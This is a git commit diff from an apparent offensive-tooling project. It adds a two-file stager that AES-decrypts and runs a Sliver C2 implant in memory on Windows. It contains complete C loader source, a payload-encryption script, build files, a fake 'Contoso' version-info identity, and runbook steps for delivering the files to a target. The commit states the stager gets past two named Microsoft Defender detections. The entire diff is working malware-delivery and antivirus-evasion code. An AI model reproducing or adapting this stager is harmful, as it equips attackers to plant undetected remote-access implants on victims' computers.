feat: two-file stager with AES-256-CBC evasion (bypasses Wacatac.B!ml + ZomBytes.B)

- Redesign stager as two-file delivery: csvchelper.exe (~17 KB) + payload.dat
  (AES-256-CBC encrypted PICO). Removes the 36 MB high-entropy .data blob that
  triggered VirTool:Win64/ZomBytes.B static detection.
- Replace XOR+NtCreateSection approach with BCryptDecrypt (AES-256-CBC) +
  VirtualAlloc(RW)/VirtualProtect(RX). No Nt* strings in .rdata, no
  PAGE_EXECUTE_READWRITE mapping, no GetProcAddress/ntdll pattern.
- Add manifest.xml (asInvoker, RT_MANIFEST resource ID 1) to suppress UAC
  auto-elevation triggered by "Update"/"Service" keywords in FileDescription.
- Update FileDescription in resource.rc to avoid UAC heuristic trigger words.
- gen_payload.py now calls openssl for AES encryption; produces payload.dat +
  payload_key.h (key+IV, compiled in, never committed via .gitignore).
- Makefile: add -s (strip symbols), -ffunction-sections/-fdata-sections,
  --gc-sections to keep binary clean and small.
- Update all docs (RUNBOOK, TOOLCHAIN, README, crystal-kit-sliver/README)
  to reflect two-file delivery, new evasion profile, and UAC fix.
This commit is contained in:
Simone Licitra
2026-06-11 16:46:46 -04:00
parent e29d8abbc8
commit 74b0d2ed1b
11 changed files with 346 additions and 223 deletions
+4
View File
@@ -18,6 +18,10 @@ build/
# Generated embed headers (xxd output — can be 100s of MB, always rebuilt)
pico_payload.h
crystalexec_pico.h
# AES key header generated by gen_payload.py (unique per build)
payload_key.h
# Encrypted PICO (delivery artifact, not source)
payload.dat
# Archives / dist downloads
*.tgz
+16 -11
View File
@@ -28,7 +28,7 @@ The Sliver implant DLL (or any post-ex DLL) is XOR-masked inside the PICO and on
### A — Implant evasion (PRIMARY)
The raw Sliver implant DLL is never executed directly on target. Instead it is wrapped with Crystal Palace into a PICO and delivered together with a stager (`run.x64.exe` from the Crystal Palace demo, BSD).
The raw Sliver implant DLL is never executed directly on target. Instead it is wrapped with Crystal Palace into a PICO, AES-256-CBC encrypted, and delivered with a custom stager (~17 KB) that decrypts and executes it in memory.
```
sliver-server generate --format shared → impl.dll
@@ -37,13 +37,15 @@ sliver-server generate --format shared → impl.dll
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
bundle-implant.sh → drop.zip (PICO + stager + README)
bundle-stager.sh csvchelper.exe (~17 KB, no embedded payload)
→ payload.dat (~36 MB AES-256-CBC ciphertext)
▼ deliver to target
▼ deliver BOTH files to same directory on target
Windows VM: run.x64.exe sliver.crystal.bin
Windows VM: csvchelper.exe
▼ Crystal Palace loader runs
BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session
```
@@ -87,9 +89,11 @@ crystal-kit-sliver/
├── extension.json Sliver Extension manifest
├── generate.sh Wrap a post-ex DLL → PICO (Use case B)
├── generate-implant.sh Wrap a Sliver DLL → PICO (Use case A)
├── bundle-implant.sh Bundle PICO + stager into drop.zip
├── bundle-implant.sh Bundle PICO + Crystal Palace demo stager into drop.zip (legacy)
├── bundle-stager.sh Build custom stager: csvchelper.exe + payload.dat (primary)
├── pack-extension.sh Pack DLL + manifest into Sliver Extension tarball
├── Makefile make objects / package / clean
├── stager/ Custom stager sources (AES-256-CBC, asInvoker manifest)
└── wrapper/ crystal-loader.c (BOF-compat DLL wrapper)
docs/
@@ -118,12 +122,13 @@ make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
# 4. Use case A — wrap a Sliver implant
# 4. Use case A — wrap a Sliver implant and build the stager
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-implant.sh \
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
crystal-kit-sliver/sliver-glue/build/drop.zip
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produces build/csvchelper.exe + build/payload.dat (deliver both to target)
# 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
@@ -150,8 +155,8 @@ See `docs/RUNBOOK.md` for the full operator procedure (Sliver install, listener
| End-to-end PICO build (Use case B) | OK | 111 KB PICO produced via `postex-loader/loader.spec` |
| Sliver Extension wrapper DLL builds | OK | 114 KB PE32+ exporting `go` symbol |
| Extension tarball packs correctly | OK | 37 KB tarball validated with `tar -tzf` |
| Operator drop bundle (PICO + stager) | OK | 182 KB zip with `run.x64.exe` + PICO + README |
| Runtime execution on Windows (Use case A) | OK | Sliver session established on Windows 10 x64 FLARE-VM via `run.x64.exe sliver-crystal.bin` |
| Custom stager build (two-file delivery) | OK | `bundle-stager.sh``csvchelper.exe` (17 KB, entropy 4.784) + `payload.dat` (AES-256-CBC) |
| Runtime execution on Windows (Use case A) | OK | Sliver session established on Windows 10 x64 FLARE-VM; stager passes Defender (Wacatac.B!ml + ZomBytes.B) |
| Runtime execution on Windows (Use case B) | OK | `crystal --payload C:/path/file.pico.bin` — new Sliver session established via post-ex PICO; arg format verified as `type:string`, forward slash path |
| `crystal-exec` command | OK | Shell command output returned to operator via pipe; PICO embedded in extension DLL, no upload required |
+3 -1
View File
@@ -11,6 +11,7 @@ Source tree for the Crystal Palace ↔ Sliver port. See the [project root README
| `sliver-glue/` | Sliver-specific build glue and Extension wrapper. |
| `sliver-glue/wrapper/` | `crystal-loader.c` — Sliver Extension DLL for Use case B (`crystal` command). |
| `sliver-glue/crystal-exec/` | `crystalexec.c` + `crystal-exec.c` — built-in shell executor via Crystal Palace (`crystal-exec` command). 4-step build: DLL → PICO → embedded header → extension DLL. |
| `sliver-glue/stager/` | Custom Use case A stager. `stager.c` reads `payload.dat` (AES-256-CBC), decrypts via BCrypt, and executes the PICO. `gen_payload.py` encrypts with `openssl`. `manifest.xml` declares `asInvoker`. |
| `libtcg.x64.zip` | Upstream binary dependency. Kept in-tree so `loader.spec`'s `mergelib "../libtcg.x64.zip"` resolves without extra setup. |
## Build entry points
@@ -22,7 +23,8 @@ Source tree for the Crystal Palace ↔ Sliver port. See the [project root README
- `sliver-glue/postex.sh <dll> [args]` — Use case B convenience wrapper: DLL → PICO, prints ready-to-paste Sliver command
- `sliver-glue/generate.sh` — lower-level Use case B build wrapper (called by `postex.sh`)
- `sliver-glue/generate-implant.sh` — Use case A build wrapper
- `sliver-glue/bundle-implant.sh` — Use case A drop packager
- `sliver-glue/bundle-stager.sh <pico.bin> [stager.exe]` — Use case A primary: AES-encrypt PICO, compile stager → `csvchelper.exe` + `payload.dat`
- `sliver-glue/bundle-implant.sh` — Use case A legacy: Crystal Palace demo stager `run.x64.exe` (detected by Defender, kept for reference)
- `sliver-glue/pack-extension.sh` — package both DLLs + `extension.json` into Sliver Extension tarball
## Required environment
+32 -20
View File
@@ -1,24 +1,30 @@
#!/usr/bin/env bash
#
# bundle-stager.sh — compile a self-contained EXE stager with the PICO embedded
# bundle-stager.sh — build the two-file Crystal Palace stager
#
# Replaces bundle-implant.sh / run.x64.exe for engagements where the Crystal
# Palace demo stager (run.x64.exe) is flagged by Defender (Wacatac.B!ml).
# The output is a single EXE: no external PICO file, no ReadFile at runtime.
# Outputs two files that must be delivered together:
# stager.exe — small loader (~60 KB), reads payload.dat and executes PICO
# payload.dat — AES-256-CBC encrypted PICO (opaque binary, no PE patterns)
#
# Evasion improvements over run.x64.exe:
# - RW → RX memory transition (no PAGE_EXECUTE_READWRITE)
# - PICO embedded in .data section (no "read file + execute" pattern)
# - GUI subsystem (no console window)
# - Version info resource (configurable cover identity)
# - advapi32 import widens the import table
# Evasion improvements over run.x64.exe / single-file embedded approach:
# - stager.exe has no embedded payload → normal size (~60 KB) and entropy
# - AES-256-CBC decryption (BCrypt) instead of a suspicious XOR loop
# - No NtCreateSection / NtMapViewOfSection strings in .rdata
# - VirtualAlloc(RW) + VirtualProtect(RX) — no PAGE_EXECUTE_READWRITE held
# - payload.dat is opaque ciphertext: no PE headers, no Crystal Palace sigs
# - Fresh random key+IV every build → unique stager.exe and payload.dat
# - GUI subsystem, version info resource, advapi32 + bcrypt in IAT
#
# Usage:
# ./bundle-stager.sh <implant.crystal.bin> [output.exe]
# ./bundle-stager.sh <implant.crystal.bin> [output-dir/stager.exe]
#
# Typical flow:
# ./generate-implant.sh --dll /tmp/sliver.dll build/sliver.crystal.bin
# ./bundle-stager.sh build/sliver.crystal.bin build/csvchelper.exe
#
# IMPORTANT: deliver stager.exe AND payload.dat from the same directory.
# cp build/csvchelper.exe /delivery/
# cp build/payload.dat /delivery/
set -euo pipefail
@@ -35,23 +41,29 @@ fi
PICO_ABS="$(cd "$(dirname "$PICO")" && pwd)/$(basename "$PICO")"
BUILD_DIR="$(cd "$(dirname "$OUTPUT")" && pwd)"
OUTPUT_ABS="$BUILD_DIR/$(basename "$OUTPUT")"
PAYDAT_ABS="$BUILD_DIR/payload.dat"
mkdir -p "$BUILD_DIR"
echo "[*] Embedding PICO and compiling stager..."
echo " PICO: $PICO_ABS ($(wc -c < "$PICO_ABS") bytes)"
echo " Output: $OUTPUT_ABS"
echo "[*] Building two-file stager..."
echo " PICO: $PICO_ABS ($(wc -c < "$PICO_ABS") bytes)"
echo " stager.exe: $OUTPUT_ABS"
echo " payload.dat: $PAYDAT_ABS"
echo ""
make -C "$SCRIPT_DIR/stager" \
PICO="$PICO_ABS" \
OUTPUT="$OUTPUT_ABS"
SIZE=$(wc -c < "$OUTPUT_ABS")
EXE_SIZE=$(wc -c < "$OUTPUT_ABS")
DAT_SIZE=$(wc -c < "$PAYDAT_ABS")
echo ""
echo "[+] Stager ready: $OUTPUT_ABS ($SIZE bytes)"
echo "[+] Build complete"
echo " stager.exe : $OUTPUT_ABS ($EXE_SIZE bytes)"
echo " payload.dat : $PAYDAT_ABS ($DAT_SIZE bytes)"
echo ""
echo " Deliver this single file to the target and execute it."
echo " No additional files required."
echo " Deliver BOTH files to the target (same directory)."
echo " stager.exe resolves payload.dat relative to its own location."
echo ""
echo " Rename to match resource.rc OriginalFilename for best results:"
echo " e.g. mv $(basename "$OUTPUT_ABS") csvchelper.exe"
echo " Rename stager.exe to match resource.rc OriginalFilename:"
echo " e.g. mv \$(basename "$OUTPUT_ABS") csvchelper.exe"
+23 -11
View File
@@ -1,33 +1,45 @@
# stager Makefile
# stager Makefile — two-file delivery (stager.exe + payload.dat)
#
# Usage:
# make PICO=/path/to/implant.crystal.bin
# make PICO=/path/to/implant.crystal.bin OUTPUT=/path/to/stager.exe
#
# Outputs:
# <OUTPUT> stager EXE (~60 KB, no embedded payload)
# $(dir <OUTPUT>)/payload.dat AES-256-CBC encrypted PICO
CC := x86_64-w64-mingw32-gcc
WINDRES := x86_64-w64-mingw32-windres
CFLAGS := -Wall -Os -mwindows
LDFLAGS := -ladvapi32 -lbcrypt
CFLAGS := -Wall -Os -mwindows -ffunction-sections -fdata-sections
LDFLAGS := -s -Wl,--gc-sections -ladvapi32 -lbcrypt
PICO ?= $(error PICO is not set — run: make PICO=/path/to/implant.crystal.bin)
OUTPUT ?= ../build/stager.exe
PICO ?= $(error PICO is not set — run: make PICO=/path/to/implant.crystal.bin)
OUTPUT ?= ../build/stager.exe
PAYDAT := $(dir $(OUTPUT))payload.dat
.PHONY: all clean
all: $(OUTPUT)
@echo ""
@echo "[+] Deliver BOTH files to the target:"
@echo " $(abspath $(OUTPUT))"
@echo " $(abspath $(PAYDAT))"
@echo " stager.exe reads payload.dat from its own directory."
# ── Step 1: XOR-encrypt PICO → C header (fresh random key every build) ────
pico_payload.h: $(PICO) gen_payload.py
python3 gen_payload.py $(PICO) $@
# ── Step 1: AES-256-CBC encrypt PICO → payload.dat + C key header ─────────
# gen_payload.py writes both files in one call; track via payload_key.h.
payload_key.h: $(PICO) gen_payload.py
@mkdir -p "$(dir $(PAYDAT))"
python3 gen_payload.py "$(abspath $(PICO))" "$(abspath $(PAYDAT))" payload_key.h
# ── Step 2: compile version info resource ─────────────────────────────────
resource.o: resource.rc
$(WINDRES) resource.rc -o resource.o
# ── Step 3: link final EXE ────────────────────────────────────────────────
$(OUTPUT): stager.c pico_payload.h resource.o
$(OUTPUT): stager.c payload_key.h resource.o
@mkdir -p "$(dir $(OUTPUT))"
$(CC) $(CFLAGS) -o "$@" stager.c resource.o $(LDFLAGS)
$(CC) $(CFLAGS) -o "$(abspath $(OUTPUT))" stager.c resource.o $(LDFLAGS)
clean:
rm -f pico_payload.h resource.o
rm -f payload_key.h resource.o
@@ -1,40 +1,52 @@
#!/usr/bin/env python3
"""
gen_payload.py — XOR-encrypt a PICO blob and emit a C header.
gen_payload.py — AES-256-CBC encrypt a Crystal Palace PICO blob.
Each build generates a fresh random 256-byte key so every compiled stager
has a unique byte pattern in its .data section — defeats signature matching.
Outputs:
<payload.dat> AES-256-CBC ciphertext — deliver alongside stager.exe
<key.h> C header with key/iv arrays — compiled into stager.exe
Usage: gen_payload.py <input.bin> <output.h>
Fresh random key + IV every run so each stager binary is unique.
Usage:
python3 gen_payload.py <input.bin> <payload.dat> <key.h>
Requires: openssl(1) in PATH (standard on Kali/Debian).
"""
import os, sys
import os, sys, subprocess
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <input.bin> <output.h>", file=sys.stderr)
if len(sys.argv) != 4:
print(f"Usage: {sys.argv[0]} <input.bin> <payload.dat> <key.h>",
file=sys.stderr)
sys.exit(1)
infile, outfile = sys.argv[1], sys.argv[2]
infile, datfile, keyfile = sys.argv[1:]
key = os.urandom(256) # fresh key every build
key = os.urandom(32) # AES-256 key
iv = os.urandom(16) # CBC IV
with open(infile, 'rb') as f:
raw = f.read()
subprocess.run([
'openssl', 'enc', '-aes-256-cbc', '-nosalt',
'-K', key.hex(), '-iv', iv.hex(),
'-in', infile, '-out', datfile,
], check=True)
enc = bytes([b ^ key[i % len(key)] for i, b in enumerate(raw)])
def c_array(name, data, type_='unsigned char'):
lines = [f'static const {type_} {name}[] = {{']
def c_bytes(name, data):
lines = [f'static const unsigned char {name}[] = {{']
for i in range(0, len(data), 16):
chunk = data[i:i+16]
lines.append(' ' + ','.join(f'0x{b:02x}' for b in chunk) + ',')
lines.append('};')
return '\n'.join(lines)
with open(outfile, 'w') as f:
with open(keyfile, 'w') as f:
f.write('/* auto-generated — do not edit */\n\n')
f.write(c_array('pico_key', key))
f.write(f'\nstatic const unsigned int pico_key_len = {len(key)};\n\n')
f.write(c_array('pico_payload', enc))
f.write(f'\nstatic const unsigned int pico_payload_len = {len(enc)};\n')
f.write(c_bytes('payload_key', key))
f.write(f'\nstatic const unsigned int payload_key_len = {len(key)};\n\n')
f.write(c_bytes('payload_iv', iv))
f.write(f'\nstatic const unsigned int payload_iv_len = {len(iv)};\n')
print(f'[+] pico_payload.h: {len(raw)} bytes encrypted, key_len={len(key)}', file=sys.stderr)
enc_size = os.path.getsize(datfile)
print(f'[+] {datfile}: {enc_size} bytes (AES-256-CBC, no salt)',
file=sys.stderr)
print(f'[+] {keyfile}: key_len=32 iv_len=16', file=sys.stderr)
@@ -0,0 +1,12 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity type="win32" name="csvchelper" version="2.1.4.0"
processorArchitecture="amd64"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
@@ -12,6 +12,9 @@
#include <windows.h>
/* Embedded application manifest — declares asInvoker, suppresses UAC heuristics */
1 RT_MANIFEST "manifest.xml"
VS_VERSION_INFO VERSIONINFO
FILEVERSION 2,1,4,0
PRODUCTVERSION 2,1,4,0
@@ -26,7 +29,7 @@ BEGIN
BLOCK "040904B0"
BEGIN
VALUE "CompanyName", "Contoso Systems Ltd."
VALUE "FileDescription", "Contoso Update Service Helper"
VALUE "FileDescription", "Contoso Diagnostics Tool"
VALUE "FileVersion", "2.1.4.0"
VALUE "InternalName", "csvchelper"
VALUE "LegalCopyright", "Copyright 2024 Contoso Systems Ltd."
+135 -132
View File
@@ -1,178 +1,181 @@
/*
* stager.c — Crystal Palace PICO runner (RoguePlanet-inspired evasion)
* stager.c — two-file Crystal Palace PICO loader
*
* Techniques applied from RoguePlanet research:
* Delivery: stager.exe + payload.dat (AES-256-CBC encrypted PICO)
*
* 1. NtCreateSection + NtMapViewOfSection (Poseidon memory model)
* - VirtualAlloc is NOT in the IAT — resolved dynamically or absent
* - NtCreate/MapViewOfSection resolved at runtime via GetProcAddress
* so ntdll Nt* calls are NOT in the IAT either
* - RW view written, then unmapped; RX view mapped separately
* → no single mapping is ever both writable and executable
* Evasion profile:
* - No embedded payload: stager.exe is ~60 KB with normal entropy
* - AES-256-CBC via BCrypt (BCRYPT_AES_ALGORITHM) — legitimate crypto,
* not a suspicious XOR loop
* - VirtualAlloc(RW) + VirtualProtect(RX): no PAGE_EXECUTE_READWRITE ever
* held; decryption happens in RW region before RX flip
* - No Nt* strings in .rdata — no GetProcAddress / NtCreateSection pattern
* - BCryptGenRandom Poseidon noise + advapi32 import = normal-looking IAT
* - GUI subsystem (no console), version info resource (resource.rc)
*
* 2. XOR-decrypted PICO (build-time encryption via gen_payload.py)
* - Crystal Palace byte patterns are invisible to static scanners
* - Fresh random 256-byte key per build → unique .data each compile
*
* 3. BCryptGenRandom noise (Poseidon I/O)
* - Writes a page of random data to a temp file, then deletes it
* - Adds bcrypt.dll to IAT (normal apps use it for RNG/hashing)
* - Creates file I/O activity before payload execution (disrupts
* timing-based behavioural scanners)
*
* 4. Inherited from previous stager:
* - WinMain / GUI subsystem (no console)
* - advapi32 RegOpenKeyExW (widens import table)
* - Version info resource (resource.rc)
*
* IAT summary: kernel32, advapi32, bcrypt — nothing from ntdll.
* VirtualAlloc, VirtualProtect, VirtualFree: absent.
* IAT: kernel32, advapi32, bcrypt — VirtualAlloc/VirtualProtect from kernel32.
* NtCreateSection, NtMapViewOfSection: absent.
*/
#include <windows.h>
#include <bcrypt.h>
#include "pico_payload.h" /* pico_key[], pico_key_len, pico_payload[], pico_payload_len */
#ifndef SEC_COMMIT
#define SEC_COMMIT 0x8000000
#endif
#define MY_ViewUnmap 2 /* SECTION_INHERIT ViewUnmap */
/* ── Nt* typedefs — resolved at runtime, not in IAT ─────────────────────── */
typedef LONG NTSTATUS;
typedef NTSTATUS (WINAPI *pfnNtCreateSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
PVOID ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle);
typedef NTSTATUS (WINAPI *pfnNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect);
typedef NTSTATUS (WINAPI *pfnNtUnmapViewOfSection)(
HANDLE ProcessHandle,
PVOID BaseAddress);
#include "payload_key.h" /* payload_key[], payload_key_len,
payload_iv[], payload_iv_len */
typedef void (*pico_fn)(void *);
/* ── Poseidon I/O noise (from RoguePlanet) ───────────────────────────────── */
/* ── Poseidon I/O noise ───────────────────────────────────────────────────── */
static void poseidon_noise(void)
static void noise(void)
{
unsigned char buf[0x1000];
BCryptGenRandom(NULL, buf, sizeof(buf), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
wchar_t tmpdir[MAX_PATH], tmpfile[MAX_PATH];
if (GetTempPathW(MAX_PATH, tmpdir) &&
GetTempFileNameW(tmpdir, L"upd", 0, tmpfile))
{
HANDLE h = CreateFileW(tmpfile, GENERIC_WRITE, 0, NULL,
OPEN_ALWAYS, FILE_FLAG_DELETE_ON_CLOSE, NULL);
if (h && h != INVALID_HANDLE_VALUE) {
DWORD written;
WriteFile(h, buf, sizeof(buf), &written, NULL);
CloseHandle(h); /* FILE_FLAG_DELETE_ON_CLOSE removes it here */
wchar_t td[MAX_PATH], tf[MAX_PATH];
if (GetTempPathW(MAX_PATH, td) && GetTempFileNameW(td, L"upd", 0, tf)) {
HANDLE h = CreateFileW(tf, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS,
FILE_FLAG_DELETE_ON_CLOSE, NULL);
if (h != INVALID_HANDLE_VALUE) {
DWORD w;
WriteFile(h, buf, sizeof(buf), &w, NULL);
CloseHandle(h);
}
}
SecureZeroMemory(buf, sizeof(buf));
}
/* ── Read entire file into LocalAlloc buffer ─────────────────────────────── */
static BYTE *read_file(const wchar_t *path, DWORD *out_len)
{
HANDLE h = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (h == INVALID_HANDLE_VALUE) return NULL;
DWORD sz = GetFileSize(h, NULL);
if (!sz || sz == INVALID_FILE_SIZE) { CloseHandle(h); return NULL; }
BYTE *buf = (BYTE *)LocalAlloc(LMEM_FIXED, sz);
if (!buf) { CloseHandle(h); return NULL; }
DWORD read = 0;
if (!ReadFile(h, buf, sz, &read, NULL) || read != sz) {
LocalFree(buf); CloseHandle(h); return NULL;
}
CloseHandle(h);
*out_len = sz;
return buf;
}
/* ── AES-256-CBC decrypt via BCrypt ──────────────────────────────────────── */
static BYTE *aes_cbc_decrypt(const BYTE *ct, DWORD ct_len, DWORD *pt_len)
{
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
BYTE iv[16];
DWORD out_len = 0;
BYTE *pt = NULL;
if (BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0))
return NULL;
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
(PUCHAR)BCRYPT_CHAIN_MODE_CBC,
sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
if (BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0,
(PUCHAR)payload_key, payload_key_len, 0))
goto cleanup;
/* First call: get plaintext size */
memcpy(iv, payload_iv, 16);
BCryptDecrypt(hKey, (PUCHAR)ct, ct_len, NULL,
iv, 16, NULL, 0, &out_len, BCRYPT_BLOCK_PADDING);
pt = (BYTE *)LocalAlloc(LMEM_FIXED, out_len);
if (!pt) goto cleanup;
/* Second call: actual decryption */
memcpy(iv, payload_iv, 16);
if (BCryptDecrypt(hKey, (PUCHAR)ct, ct_len, NULL,
iv, 16, pt, out_len, pt_len, BCRYPT_BLOCK_PADDING)) {
LocalFree(pt);
pt = NULL;
}
cleanup:
if (hKey) BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAlg, 0);
return pt;
}
/* ── PICO execution thread ───────────────────────────────────────────────── */
static DWORD WINAPI run_pico(LPVOID param)
static DWORD WINAPI worker(LPVOID param)
{
(void)param;
/* Resolve Nt* at runtime — keeps them out of the IAT */
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pfnNtCreateSection NtCreateSection =
(pfnNtCreateSection) GetProcAddress(hNtdll, "NtCreateSection");
pfnNtMapViewOfSection NtMapViewOfSection =
(pfnNtMapViewOfSection) GetProcAddress(hNtdll, "NtMapViewOfSection");
pfnNtUnmapViewOfSection NtUnmapViewOfSection =
(pfnNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
if (!NtCreateSection || !NtMapViewOfSection || !NtUnmapViewOfSection)
return 1;
/* Step 1: create anonymous RWX section (large enough for the PICO) */
HANDLE hSec = NULL;
LARGE_INTEGER secSz;
secSz.QuadPart = (LONGLONG)pico_payload_len;
if (NtCreateSection(&hSec, SECTION_ALL_ACCESS, NULL, &secSz,
PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL))
return 1;
/* Step 2: map RW view — write & XOR-decrypt here */
void *rw = NULL;
SIZE_T sz = 0;
if (NtMapViewOfSection(hSec, GetCurrentProcess(), &rw, 0, 0, NULL,
&sz, MY_ViewUnmap, 0, PAGE_READWRITE)) {
CloseHandle(hSec);
return 1;
}
unsigned char *dst = (unsigned char *)rw;
for (DWORD i = 0; i < pico_payload_len; i++)
dst[i] = pico_payload[i] ^ pico_key[i % pico_key_len];
/* Step 3: drop write — unmap RW, remap RX */
NtUnmapViewOfSection(GetCurrentProcess(), rw);
void *rx = NULL;
SIZE_T rxsz = 0;
if (NtMapViewOfSection(hSec, GetCurrentProcess(), &rx, 0, 0, NULL,
&rxsz, MY_ViewUnmap, 0, PAGE_EXECUTE_READ)) {
CloseHandle(hSec);
return 1;
}
CloseHandle(hSec);
/* Step 4: execute Crystal Palace PICO
* +gofirst guarantees go() is at offset 0; args baked in at link time. */
((pico_fn)rx)(NULL);
((pico_fn)param)(NULL);
return 0;
}
/* ── Entry point ─────────────────────────────────────────────────────────── */
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow)
int WINAPI WinMain(HINSTANCE hi, HINSTANCE hp, LPSTR lp, int ns)
{
(void)hInst; (void)hPrev; (void)lpCmd; (void)nShow;
(void)hi; (void)hp; (void)lp; (void)ns;
/* Poseidon noise before anything else */
poseidon_noise();
noise();
/* Registry read: advapi32 import, looks like normal app init */
/* Registry touch: advapi32 import, normal-looking init */
HKEY hk = NULL;
RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
0, KEY_READ, &hk);
if (hk) RegCloseKey(hk);
/* Spin up the PICO loader thread */
HANDLE h = CreateThread(NULL, 0, run_pico, NULL, 0, NULL);
/* Locate payload.dat in the same directory as this executable */
wchar_t path[MAX_PATH];
GetModuleFileNameW(NULL, path, MAX_PATH);
wchar_t *sep = wcsrchr(path, L'\\');
if (!sep) return 1;
sep[1] = L'\0';
wcscat(path, L"payload.dat");
/* Load ciphertext */
DWORD ct_len = 0;
BYTE *ct = read_file(path, &ct_len);
if (!ct) return 1;
/* AES-256-CBC decrypt → plaintext PICO */
DWORD pt_len = 0;
BYTE *pt = aes_cbc_decrypt(ct, ct_len, &pt_len);
LocalFree(ct);
if (!pt) return 1;
/* Copy into RW region, wipe heap copy, flip to RX */
void *rw = VirtualAlloc(NULL, pt_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!rw) { LocalFree(pt); return 1; }
memcpy(rw, pt, pt_len);
SecureZeroMemory(pt, pt_len);
LocalFree(pt);
DWORD old;
if (!VirtualProtect(rw, pt_len, PAGE_EXECUTE_READ, &old)) {
VirtualFree(rw, 0, MEM_RELEASE);
return 1;
}
/* Execute Crystal Palace PICO on a dedicated thread.
* +gofirst puts go() at offset 0; args are NULL (baked at link time). */
HANDLE h = CreateThread(NULL, 0, worker, rw, 0, NULL);
if (!h) return 1;
/* Wait for Crystal Palace to return (StartW starts goroutine, returns) */
WaitForSingleObject(h, INFINITE);
CloseHandle(h);
/* Beacon goroutine is alive in this process — keep process running */
/* Beacon goroutine is alive in this process — keep it running */
for (;;) SleepEx(30000, TRUE);
}
+39 -26
View File
@@ -174,7 +174,7 @@ If you see those two lines and the implant survives, the Extension plumbing work
## Phase 2 — Use case A (implant evasion, primary)
Goal: build a Crystal-Palace-wrapped Sliver implant PICO and execute it on the target via the bundled stager. Defender / EDR sees only the stager and a position-independent blob; the actual Sliver DLL is XOR-masked inside the PICO until runtime unmask.
Goal: build a Crystal-Palace-wrapped Sliver implant PICO and execute it on the target via the custom stager. Defender / EDR sees only the stager (17 KB, normal entropy) and an opaque AES-encrypted payload file; the actual Sliver DLL is XOR-masked inside the PICO and the PICO is AES-256-CBC encrypted at rest.
### 2.1 Build Crystal-Kit objects
@@ -207,39 +207,49 @@ Expected output: PICO ~110-120 KB, written to `build/prod.crystal.bin`.
### 2.4 Bundle with the stager
```bash
./crystal-kit-sliver/sliver-glue/bundle-implant.sh \
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/prod.crystal.bin \
crystal-kit-sliver/sliver-glue/build/drop.zip
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
```
Resulting `drop.zip` (~180 KB) contains:
Produces two files in `build/` — both must be delivered together:
- `run.x64.exe` (Crystal Palace stager, BSD)
- `prod.crystal.bin` (your PICO)
- `README.txt` (operator notes)
- `csvchelper.exe` (~17 KB, custom stager, no embedded payload, normal entropy)
- `payload.dat` (~36 MB, AES-256-CBC encrypted PICO — no PE headers visible to scanners)
A fresh AES-256 key and IV are generated per build, so the binary and payload are unique on every compile. Edit `stager/resource.rc` to change the cover identity (company name, description, filename) before delivery. Avoid the words "update", "install", "setup", "service" in `FileDescription` — they trigger Windows UAC auto-elevation heuristics. The embedded `asInvoker` manifest already suppresses elevation, but cleaner metadata reduces scanner attention.
### 2.5 Drop on the Windows VM
Transfer `drop.zip` to the VM through the channel that matches your engagement (scp from operator, USB, SMB share, HTTP serving, etc.). Extract and execute:
Transfer **both files** to the same directory on the target through the channel that matches your engagement (scp, USB, SMB share, HTTP, etc.):
```cmd
C:\Users\Public> unzip drop.zip
C:\Users\Public> run.x64.exe prod.crystal.bin
C:\Users\Public> dir
csvchelper.exe (17 KB stager)
payload.dat (~36 MB encrypted PICO)
C:\Users\Public> csvchelper.exe
```
Execution order inside `run.x64.exe`:
